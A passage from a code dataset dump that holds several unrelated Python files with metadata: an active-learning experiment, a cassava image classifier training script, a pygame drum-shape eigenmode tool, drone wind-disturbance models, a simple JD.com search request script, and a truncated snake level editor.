seconds=math.floor(self.end-self.start)))\n\n def get_duration(self):\n try:\n return self.duration\n except:\n raise Exception(\n 'start_time and end_time must be called respectively!')\n\n def write_to_csv(self, file):\n with open(file, 'a') as f:\n writer = csv.writer(f)\n writer.writerow((self.model_name, self.al_method,\n self.warmstart_size, self.al_batch_size, len(self.seeds)))\n\n\n'''\nPerform the active learning experiment.\n\nReceives train-validation-test data splits, dataset, and word vocabulary.\n'''\ndef perform(splits, dataset, vocab):\n #splits, fields, vocab = utils.load_trec()\n splits[0].finalize_fields()\n \n SEED = 42\n utils.set_seed_everywhere(SEED)\n\n sets = tuple([split.batch() for split in splits])\n vectorizer = GloVe(dim=args.embedding_dim)\n\n \"\"\"\n def device_tensor(data):\n return torch.tensor(data, dtype=torch.float).to(torch.device('cpu'))\n \n # Torch example.\n # ===========================================================\n model_name = 'rnn'\n padding_idx = vocab.get_padding_index()\n\n device = torch.device('cpu')\n emb_matrix = torch.tensor(vectorizer.load_vocab(vocab),\n dtype=torch.float,\n device=device)\n\n model_params = dict(\n embedding_dim=args.embedding_dim,\n hidden_dim=50,\n output_dim=6,\n pretrained_embeddings=emb_matrix,\n padding_idx=padding_idx,\n device=device\n )\n\n criterion = nn.CrossEntropyLoss()\n model = get_model(name=model_name, params=model_params, scheme=None)\n model = model.to('cpu')\n optimizer = optim.Adam(model.parameters(), lr=0.001)\n manager = TorchTM(splits, criterion, optimizer, args.num_epoch)\n # ===========================================================\n \n \n \"\"\"\n # Sklearn example.\n # ===========================================================\n model_name = 'svm'\n model_params = {\"probability\" : True, \"C\": 100, \"gamma\": 0.001} #\"probability\" : True, \"C\": 100, \"gamma\": 0.001\n model = get_model(name=model_name, params=model_params, scheme=None)\n emb_matrix = np.array(vectorizer.load_vocab(vocab))\n manager = SklearnTM(splits, emb_matrix)\n # ===========================================================\n \n\n AlExperiment(train_manager=manager,\n dataset_name=dataset,\n al_method='entropy',\n warmstart_size=50,\n al_batch_size=50,\n grid_search_step=-7,\n seeds=list(range(5)),\n model_name=model_name,\n model=model).run(verbose=True)\n\n\nif __name__ == '__main__':\n args = parser.parse_args()\n\n dataset = 'sst'\n splits, fields, vocab = utils.load_data(dataset, field_names=[\"label\", \"text\"], validation=True)\n \n perform(splits, dataset, vocab)", "repo_name": "jvladika/Active-Learning", "sub_path": "src/al_experiment.py", "file_name": "al_experiment.py", "file_ext": "py", "file_size_in_byte": 16864, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "warnings.warn", "line_number": 36, "usage_type": "attribute"}, {"api_name": "utils.logger", "line_number": 38, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 40, "usage_type": "call"}, {"api_name": "al_config.STORAGE_PATH", "line_number": 70, "usage_type": "name"}, {"api_name": "metrics.Metrics", "line_number": 103, "usage_type": "call"}, {"api_name": "utils.set_seed_everywhere", "line_number": 109, "usage_type": "call"}, {"api_name": "acq_models.models.TorchModel", "line_number": 112, "usage_type": "argument"}, {"api_name": "acq_functions.samplers.get_AL_sampler", "line_number": 124, "usage_type": "call"}, {"api_name": "stopping_criteria.QueryCount", "line_number": 127, "usage_type": "name"}, {"api_name": "numpy.random.choice", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 143, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.setdiff1d", "line_number": 200, "usage_type": "call"}, {"api_name": "utils.time_string", "line_number": 245, "usage_type": "call"}, {"api_name": "utils.dump", "line_number": 246, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 295, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 313, "usage_type": "call"}, {"api_name": "os.path", "line_number": 313, "usage_type": "attribute"}, {"api_name": "utils.time_string", "line_number": 319, "usage_type": "call"}, {"api_name": "utils.dump", "line_number": 320, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 321, "usage_type": "call"}, {"api_name": "os.path", "line_number": 321, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 330, "usage_type": "call"}, {"api_name": "time.time", "line_number": 333, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 334, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 335, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 346, "usage_type": "call"}, {"api_name": "utils.set_seed_everywhere", "line_number": 361, "usage_type": "call"}, {"api_name": "podium.vectorizers.GloVe", "line_number": 364, "usage_type": "call"}, {"api_name": "acq_models.models.get_model", "line_number": 402, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 403, "usage_type": "call"}, {"api_name": "data.SklearnTM", "line_number": 404, "usage_type": "call"}, {"api_name": "utils.load_data", "line_number": 423, "usage_type": "call"}]} {"seq_id": "74519281530", "text": "import torch\nfrom torch.utils.data import DataLoader, Subset\nfrom sklearn.model_selection import train_test_split\nimport os.path\nimport cassavadataloader\nimport cassava_resnet\n\nBATCH_SIZE = 2\n\n\ndef run(require_gpu=True):\n if not torch.cuda.is_available():\n print('No CUDA-enabled GPU detected.')\n if require_gpu:\n print('GPU required flag is set. Exiting.')\n exit()\n device = torch.device('cpu')\n else:\n device = torch.device('cuda:0')\n\n print(f'Using CUDA-enabled device: {torch.cuda.get_device_name(device)}')\n\n full_dataset_train = cassavadataloader.CassavaDataset(images_path=os.path.join('..', 'train_images'),\n validation=False,\n labels_manifest_path=os.path.join('..', 'train.csv'))\n full_dataset_eval = cassavadataloader.CassavaDataset(images_path=os.path.join('..', 'train_images'),\n validation=True,\n labels_manifest_path=os.path.join('..', 'train.csv'))\n\n train_indices, validation_indices = train_test_split(list(range(len(full_dataset_train))), test_size=.3)\n\n train_dataset = Subset(full_dataset_train, train_indices)\n validation_dataset = Subset(full_dataset_eval, validation_indices)\n train_eval_dataset = Subset(full_dataset_eval, train_indices[:1000])\n\n train_dataloader = DataLoader(train_dataset,\n batch_size=BATCH_SIZE,\n collate_fn=cassavadataloader.custom_collate_wrapper,\n pin_memory=True,\n shuffle=True)\n validation_dataloader = DataLoader(validation_dataset,\n batch_size=BATCH_SIZE,\n collate_fn=cassavadataloader.custom_collate_wrapper,\n pin_memory=True,\n shuffle=False)\n train_eval_dataloader = DataLoader(train_eval_dataset,\n batch_size=BATCH_SIZE,\n collate_fn=cassavadataloader.custom_collate_wrapper,\n pin_memory=True,\n shuffle=True)\n\n model = cassava_resnet.train_model(device, train_dataloader, validation_dataloader, train_eval_dataloader,\n model_output_directory=os.path.join('..', 'saved_models'),\n epochs=1, max_samples=1000, warm_start_path=None)\n\n\nif __name__ == '__main__':\n run(require_gpu=False)\n", "repo_name": "cliffplaysdrums/cassava-leaf-disease-classification", "sub_path": "src/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 2768, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.cuda.is_available", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 12, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.cuda.get_device_name", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 21, "usage_type": "attribute"}, {"api_name": "cassavadataloader.CassavaDataset", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 23, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 25, "usage_type": "name"}, {"api_name": "cassavadataloader.CassavaDataset", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 26, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 28, "usage_type": "name"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.utils.data.Subset", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.utils.data.Subset", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.utils.data.Subset", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 36, "usage_type": "call"}, {"api_name": "cassavadataloader.custom_collate_wrapper", "line_number": 38, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 41, "usage_type": "call"}, {"api_name": "cassavadataloader.custom_collate_wrapper", "line_number": 43, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 46, "usage_type": "call"}, {"api_name": "cassavadataloader.custom_collate_wrapper", "line_number": 48, "usage_type": "attribute"}, {"api_name": "cassava_resnet.train_model", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 53, "usage_type": "name"}]} {"seq_id": "21418131744", "text": "import pygame, sys\r\nfrom dolfin import *\r\nimport matplotlib.pyplot as plt\r\nfrom pygame.locals import *\r\nfrom audio import *\r\nfrom strike_drum import strike_drum\r\n\r\nimport dolfin_solver as dfs\r\n\r\n# Point and Line class definitions\r\nclass Point:\r\n def __init__(self, x, y):\r\n self.x = x\r\n self.y = y\r\n\r\nclass Line:\r\n def __init__(self, p1, p2):\r\n self.p1 = p1\r\n self.p2 = p2\r\n\r\n def getStartPoint(self):\r\n return (self.p1.x, self.p1.y)\r\n\r\n def getEndPoint(self):\r\n return (self.p2.x, self.p2.y)\r\n\r\n# Verifies if 3 points are colinear\r\ndef onLine(p, q, r):\r\n if ( (q.x <= max(p.x, r.x)) and (q.x >= min(p.x, r.x)) and\r\n (q.y <= max(p.y, r.y)) and (q.y >= min(p.y, r.y))):\r\n return True\r\n return False\r\n\r\n# Finds orientation of 3 points, clockwise, counterclockwise or collinear\r\ndef orientation(p, q, r):\r\n # to find the orientation of 3 points (p, q, r)\r\n # function returns the following values:\r\n # 0 : Collinear points\r\n # 1 : Clockwise points\r\n # 2 : Counterclockwise\r\n\r\n val = (float(q.y - p.y) * (r.x - q.x)) - (float(q.x - p.x) * (r.y - q.y))\r\n if (val > 0):\r\n\r\n # Clockwise orientation\r\n return 1\r\n elif (val < 0):\r\n\r\n # Counterclockwise orientation\r\n return 2\r\n else:\r\n\r\n # Collinear orientation\r\n return 0\r\n\r\n\r\n# The main function that returns true if\r\n# the line segment 'p1q1' and 'p2q2' intersect.\r\ndef doIntersect(line1, line2):\r\n # Find the 4 orientations required for\r\n # the general and special cases\r\n\r\n p1 = line1.p1\r\n q1 = line1.p2\r\n p2 = line2.p1\r\n q2 = line2.p2\r\n\r\n o1 = orientation(p1, q1, p2)\r\n o2 = orientation(p1, q1, q2)\r\n o3 = orientation(p2, q2, p1)\r\n o4 = orientation(p2, q2, q1)\r\n\r\n # General case\r\n if ((o1 != o2) and (o3 != o4)):\r\n return True\r\n\r\n # Special Cases\r\n\r\n # p1 , q1 and p2 are collinear and p2 lies on segment p1q1\r\n if ((o1 == 0) and onLine(p1, p2, q1)):\r\n return True\r\n\r\n # p1 , q1 and q2 are collinear and q2 lies on segment p1q1\r\n if ((o2 == 0) and onLine(p1, q2, q1)):\r\n return True\r\n\r\n # p2 , q2 and p1 are collinear and p1 lies on segment p2q2\r\n if ((o3 == 0) and onLine(p2, p1, q2)):\r\n return True\r\n\r\n # p2 , q2 and q1 are collinear and q1 lies on segment p2q2\r\n if ((o4 == 0) and onLine(p2, q1, q2)):\r\n return True\r\n\r\n # If none of the cases\r\n return False\r\n\r\n# Simple method to draw a straight line after validation\r\ndef drawLine(surface, newLine):\r\n start = newLine.getStartPoint()\r\n end = newLine.getEndPoint()\r\n pygame.draw.line(surface, black, start, end)\r\n pygame.display.update()\r\n\r\n# Return true if line does not intersect, false if it does\r\ndef validateLine(newLine, lineList):\r\n intersect = False\r\n\r\n if(len(lineList) == 0):\r\n return True\r\n else:\r\n for line in lineList:\r\n if (line == lineList[len(lineList) - 1]):\r\n return True\r\n intersect = doIntersect(line, newLine)\r\n if(intersect):\r\n return False\r\n\r\n return True\r\n\r\n# Validation, called only when trying to exit program\r\ndef validateLastLine(newLine, lineList):\r\n if (len(lineList) == 0):\r\n return True\r\n else:\r\n tempList = [line for line in lineList]\r\n del tempList[0]\r\n for line in tempList:\r\n if (line == tempList[len(tempList) - 1]):\r\n return True\r\n intersect = doIntersect(line, newLine)\r\n if (intersect):\r\n return False\r\n\r\n return True\r\n\r\n# Method that controls program flow\r\ndef continueShape(x, y):\r\n newPoint = Point(x, y)\r\n if (len(points) == 0):\r\n points.append(newPoint)\r\n elif (len(points) == 1):\r\n newLine = Line(points[len(points) - 1], newPoint)\r\n points.append(newPoint)\r\n lines.append(newLine)\r\n drawLine(grid, newLine)\r\n else:\r\n newLine = Line(points[len(points) - 1], newPoint)\r\n if (validateLine(newLine, lines)):\r\n points.append(newPoint)\r\n lines.append(newLine)\r\n drawLine(grid, newLine)\r\n\r\n# Called at the end to finish the shape when user exits\r\ndef closeShape(x, y):\r\n newPoint = Point(x, y)\r\n if (len(points) == 0):\r\n points.append(newPoint)\r\n elif (len(points) == 1):\r\n newLine = Line(points[len(points) - 1], newPoint)\r\n points.append(newPoint)\r\n lines.append(newLine)\r\n drawLine(grid, newLine)\r\n else:\r\n newLine = Line(points[len(points) - 1], newPoint)\r\n if (validateLastLine(newLine, lines)):\r\n points.append(newPoint)\r\n lines.append(newLine)\r\n drawLine(grid, newLine)\r\n\r\n# Returns correctly formatted output: List of (x,y) coordinates of all points\r\ndef output(pointList):\r\n output = [[float(point.x), (gridHeight - point.y)] for point in pointList]\r\n outputInt = [Point(int(coordinates[0]), int(coordinates[1])) for coordinates in output]\r\n if (orientation(outputInt[0], outputInt[1], outputInt[2]) == 2):\r\n return output\r\n else:\r\n return output[::-1]\r\n\r\n# Color definitions\r\nblack = 0, 0, 0\r\nwhite = 255, 255, 255\r\nred = 255, 0, 0\r\n\r\n# Define grid size\r\ngridWidth, gridHeight = 1000, 800\r\ngridSize = gridWidth, gridHeight\r\n\r\n# Setting the grid\r\ngrid = pygame.display.set_mode(gridSize)\r\n\r\n# Getting the Clock object\r\nclock = pygame.time.Clock()\r\n\r\n# Settomg a title to the grid\r\npygame.display.set_caption(\"Grid\")\r\n\r\n# Defining lists for all points and all lines\r\npoints = []\r\nlines = []\r\n\r\nshapeOut = []\r\nimpulsePosition = []\r\n\r\ndef programLoop():\r\n global shapeOut\r\n global impulsePosition\r\n fpsLimit = 60\r\n runMe = True\r\n while runMe:\r\n # Limit the framerate\r\n clock.tick(fpsLimit)\r\n\r\n # Clear the grid by filling all white\r\n if (len(points) == 0):\r\n grid.fill(white)\r\n\r\n # Event handler\r\n for event in pygame.event.get():\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_RETURN:\r\n numOfPoints = len(points)\r\n closeShape(points[0].x, points[0].y)\r\n if (numOfPoints == len(points)):\r\n continue\r\n waiting = True\r\n while (waiting):\r\n event = pygame.event.wait()\r\n if (event.type == MOUSEBUTTONDOWN):\r\n x, y = pygame.mouse.get_pos()\r\n waiting = False\r\n impulsePosition = [float(x), float(gridHeight - y)]\r\n shapeOut = output(points)\r\n runMe = False\r\n if event.type == MOUSEBUTTONDOWN:\r\n x, y = pygame.mouse.get_pos()\r\n continueShape(x, y)\r\n if event.type == pygame.QUIT:\r\n numOfPoints = len(points)\r\n closeShape(points[0].x, points[0].y)\r\n if (numOfPoints == len(points)):\r\n continue\r\n\r\n # Final output, must decide what to do with it\r\n output(points)\r\n runMe = False\r\n\r\n # Display everything\r\n pygame.display.flip()\r\n\r\n\r\nprogramLoop()\r\n\r\n\r\n# Quit the display\r\npygame.quit()\r\n\r\nprint(shapeOut)\r\nprint(impulsePosition)\r\n\r\ntestmesh = dfs.generate_mesh_from_coords(shapeOut, 50)\r\nplot(testmesh)\r\nplt.show()\r\n\r\neigenvals, v = dfs.eigenpair_solver(testmesh, 100)\r\n\r\nqquit = False\r\nwhile (not qquit):\r\n uinput = input(\"What eigenfunction would you like? (0-99)\\na to animate, q to quit \\n\")\r\n\r\n if (uinput == \"a\"):\r\n strike_drum(impulsePosition, testmesh, v, eigenvals, 3)\r\n elif (uinput == \"q\"):\r\n qquit = True\r\n else:\r\n try:\r\n uinput = int(uinput)\r\n\r\n if (0 <= uinput <= 99):\r\n\r\n plot(v[uinput])\r\n\r\n t_eig_val = eigenvals[uinput]\r\n\r\n print(\"The Eigenvalue is : \", t_eig_val)\r\n\r\n freq = frequency(t_eig_val)\r\n print(\"The harmonic frequency is : \", freq)\r\n\r\n plt.title(str(round(freq, 2)) + \"Hz\")\r\n\r\n plt.show()\r\n\r\n play_sound(0.5, 44100, 3, freq)\r\n\r\n else:\r\n print(\"Bad input\")\r\n\r\n except:\r\n print(\"Bad input\")\r\n\r\n", "repo_name": "manneryzach/mcgill-physics-hack2021", "sub_path": "MyGridVertices.py", "file_name": "MyGridVertices.py", "file_ext": "py", "file_size_in_byte": 8401, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pygame.draw.line", "line_number": 102, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 102, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 103, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 103, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 190, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 190, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 193, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 193, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 196, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 196, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 219, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 219, "usage_type": "attribute"}, {"api_name": "pygame.KEYDOWN", "line_number": 220, "usage_type": "attribute"}, {"api_name": "pygame.K_RETURN", "line_number": 221, "usage_type": "attribute"}, {"api_name": "pygame.event.wait", "line_number": 228, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 228, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 230, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 230, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 236, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 236, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 238, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 249, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 249, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 256, "usage_type": "call"}, {"api_name": "dolfin_solver.generate_mesh_from_coords", "line_number": 261, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 263, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 263, "usage_type": "name"}, {"api_name": "dolfin_solver.eigenpair_solver", "line_number": 265, "usage_type": "call"}, {"api_name": "strike_drum.strike_drum", "line_number": 272, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 290, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 290, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 292, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 292, "usage_type": "name"}]} {"seq_id": "464330953", "text": "import numpy as np\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\nclass ExternalDisturbance:\n def __init__(self):\n self.time_prev = 0.0\n self.disturbance_history = {'time': [],\n 'signal': []}\n def __call__(self, time):\n disturbance = self.ask_for_disturbance(time)\n if self.time_prev == time:\n pass\n else:\n self.disturbance_history['signal'].append(list(disturbance.flatten()))\n self.disturbance_history['time'].append(time)\n self.time_prev = time\n return disturbance\n\n def ask_for_disturbance(self):\n raise NotImplementedError(\"Method ask_for_disturbance() should be implemented in child class..\")\n\n def plot_history(self):\n fig = make_subplots(rows=3, cols=1, x_title='Czas [s]',\n subplot_titles=('Zakłócenie w osi x [N]', 'Zakłócenie w osi y [N]',\n 'Zakłócenie w osi z [N]'))\n time = self.disturbance_history['time']\n data = np.array(self.disturbance_history['signal'])\n\n fig.add_trace(go.Scatter(x=time, y=data[:, 0]), row=1, col=1)\n fig.add_trace(go.Scatter(x=time, y=data[:, 1]), row=2, col=1)\n fig.add_trace(go.Scatter(x=time, y=data[:, 2]), row=3, col=1)\n fig.show()\n\nclass WindModel(ExternalDisturbance):\n def __init__(self, direction_vector=np.array([0.0, 1.0, 0.0]), strength=1.0):\n super().__init__()\n if isinstance(direction_vector, list):\n direction_vector = np.array(direction_vector)\n direction_vector = direction_vector.astype('float32')\n if np.linalg.norm(direction_vector) != 1.0:\n self.direction_vector = direction_vector / (np.linalg.norm(direction_vector) + 1e-15)\n else:\n self.direction_vector = direction_vector\n print(\"Wind direction:\", self.direction_vector)\n self.strength = strength\n\n def ask_for_disturbance(self, time):\n wind_force = self.direction_vector * self.strength\n wind_force = wind_force.reshape((3, 1))\n return wind_force\n\nclass RandomAdditiveNoiseWind(WindModel):\n def __init__(self, direction_vector=np.array([0.0, 1.0, 0.0]), strength=1.0, scale=1.0):\n super().__init__(direction_vector=direction_vector, strength=strength)\n self.scale = scale\n def ask_for_disturbance(self, time):\n wind_force = self.strength * self.direction_vector + np.random.normal(loc=0.0, scale=self.scale, size=(3))\n wind_force = wind_force.reshape((3, 1))\n return wind_force\n\nclass RandomWalkWind(WindModel):\n def __init__(self, direction_vector=np.array([0.0, 1.0, 0.0]), strength=1.0, dir_vec_scale=0.1, strength_scale=0.1, weight=0.5):\n super().__init__(direction_vector=direction_vector, strength=strength)\n self.dir_vec_scale = dir_vec_scale\n self.strength_scale = strength_scale\n self.weight = weight\n\n def ask_for_disturbance(self, time):\n if self.time_prev == time:\n pass\n else:\n self.direction_vector = self.direction_vector * (1-self.weight) + self.weight * np.random.normal(loc=0.0, scale=self.dir_vec_scale, size=3)\n self.direction_vector = self.direction_vector / (np.linalg.norm(self.direction_vector) + 1e-15)\n self.strength = self.strength + np.random.normal(loc=0.0, scale=self.strength_scale, size=1)\n wind_force = self.strength * self.direction_vector\n wind_force = wind_force.reshape((3, 1))\n return wind_force\nclass SinusoidalWind(WindModel):\n def __init__(self, sin_f, fs, direction_vector=np.array([0.0, 1.0, 0.0]), max_strength=1.0):\n #doesnt work ATM\n super().__init__(direction_vector=direction_vector, strength=max_strength)\n self.fs = fs\n self.Ts = 1 / fs\n self.sin_f = sin_f\n self.sin_t = 1 / sin_f\n def ask_for_disturbance(self, time):\n wind_force = self.strength * np.sin(2 * np.pi * self.sin_f * time) * self.direction_vector\n wind_force = wind_force.reshape((3, 1))\n return wind_force\n\n\nif __name__ == \"__main__\":\n wind = WindModel([0, 0, 1])\n print(wind.ask_for_disturbance())\n", "repo_name": "froxec/AdaptiveDrone", "sub_path": "Factories/ModelsFactory/external_force_models.py", "file_name": "external_force_models.py", "file_ext": "py", "file_size_in_byte": 4257, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "plotly.subplots.make_subplots", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 27, "usage_type": "call"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 29, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 29, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 30, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 30, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 31, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 31, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 57, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 73, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 74, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 87, "usage_type": "attribute"}]} {"seq_id": "32701952761", "text": "import requests\n\n\ndef request_jd(keyword):\n url = \"https://search.jd.com/Search\"\n params = {\n \"keyword\": keyword\n }\n headers = {\n \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36\"\n }\n response = requests.get(url=url, params=params, headers=headers)\n print(response.text)\n # 获取str类型的响应内容\n # response.content # 获取bytes类型的响应内容\n # response.json() # 获取json格式数据\n\nif __name__==\"__main__\":\n request_jd(\"鼠标\")\n", "repo_name": "gzzvdsv/mylearn", "sub_path": "爬虫/1.py", "file_name": "1.py", "file_ext": "py", "file_size_in_byte": 585, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 12, "usage_type": "call"}]} {"seq_id": "35938063111", "text": "import pygame\r\n\r\nfrom shake import WIDTH, HEIGHT, CELL_SIZE, NOT_BIG_FONT, Portal, \\\r\n Wall, Game, BLOCK_SIZE, snake_color, bg_fill_color, \\\r\n wall_color, portals_color\r\n\r\npygame.init()\r\npygame.display.set_caption('level editor')\r\n\r\nsingle_portal_color = pygame.Color('aquamarine')\r\n\r\n\r\ndef draw_messages(surface):\r\n render_q = NOT_BIG_FONT.render('Press \"q\" to save level1',\r\n 0, pygame.Color('green'))\r\n render_w = NOT_BIG_FONT.render('Press \"w\" to save level2',\r\n 0, pygame.Color('green'))\r\n render_e = NOT_BIG_FONT.render('Press \"e\" to save level3',\r\n 0, pygame.Color('green'))\r\n render_message1 = NOT_BIG_FONT.render('Press left mouse button',\r\n 0, pygame.Color('gray55'))\r\n render_message2 = NOT_BIG_FONT.render('to draw walls',\r\n 0, pygame.Color('gray55'))\r\n render_message3 = NOT_BIG_FONT.render('Press right mouse button',\r\n 0, pygame.Color('red'))\r\n render_message4 = NOT_BIG_FONT.render('to erase walls',\r\n 0, pygame.Color('red'))\r\n render_message5 = NOT_BIG_FONT.render('Press \"d\" keyboard button',\r\n 0, pygame.Color('white'))\r\n render_message6 = NOT_BIG_FONT.render('to draw portals',\r\n 0, pygame.Color('white'))\r\n render_message7 = NOT_BIG_FONT.render('Press \"s\" keyboard button',\r\n 0, pygame.Color('orange'))\r\n render_message8 = NOT_BIG_FONT.render('to draw snake position',\r\n 0, pygame.Color('orange'))\r\n render_message9 = NOT_BIG_FONT.render('Press space to erase all',\r\n 0, pygame.Color('red'))\r\n\r\n surface.blit(render_q, (WIDTH + 10, 5))\r\n surface.blit(render_w, (WIDTH + 10, 30))\r\n surface.blit(render_e, (WIDTH + 10, 55))\r\n surface.blit(render_message1, (WIDTH + 10, 100))\r\n surface.blit(render_message2, (WIDTH + 10, 125))\r\n surface.blit(render_message3, (WIDTH + 10, 160))\r\n surface.blit(render_message4, (WIDTH + 10, 185))\r\n surface.blit(render_message5, (WIDTH + 10, 220))\r\n surface.blit(render_message6, (WIDTH + 10, 245))\r\n surface.blit(render_message7, (WIDTH + 10, 280))\r\n surface.blit(render_message8, (WIDTH + 10, 305))\r\n surface.blit(render_message9, (WIDTH + 10, 350))\r\n\r\n\r\ndef save_level(level_path, walls, portals, is_snake_add, snake_cords):\r\n \"\"\"Function save walls, portals and snake cords to .txt file\"\"\"\r\n with open(level_path, \"w\") as file:\r\n for w in walls:\r\n print('w' + str(w), file=file)\r\n for p in portals:\r\n print('p' + str(p), file=file)\r\n if is_snake_add:\r\n print('s' + str(snake_cords), file=file)\r\n print(f'{level_path.split(\"/\")[1]} was saved!')\r\n\r\n\r\ndef is_all_conditions(x, y, block, walls, portals_tmp, portals):\r\n \"\"\"Function check that new block in game grid and not in walls, portals\"\"\"\r\n if block[0] < x < block[0] + CELL_SIZE \\\r\n and block[1] < y < block[1] + CELL_SIZE \\\r\n and block not in walls \\\r\n and block not in portals_tmp \\\r\n and block not in [(p[0], p[1]) for p in portals] \\\r\n and block not in [(p[2], p[3]) for p in portals]:\r\n return 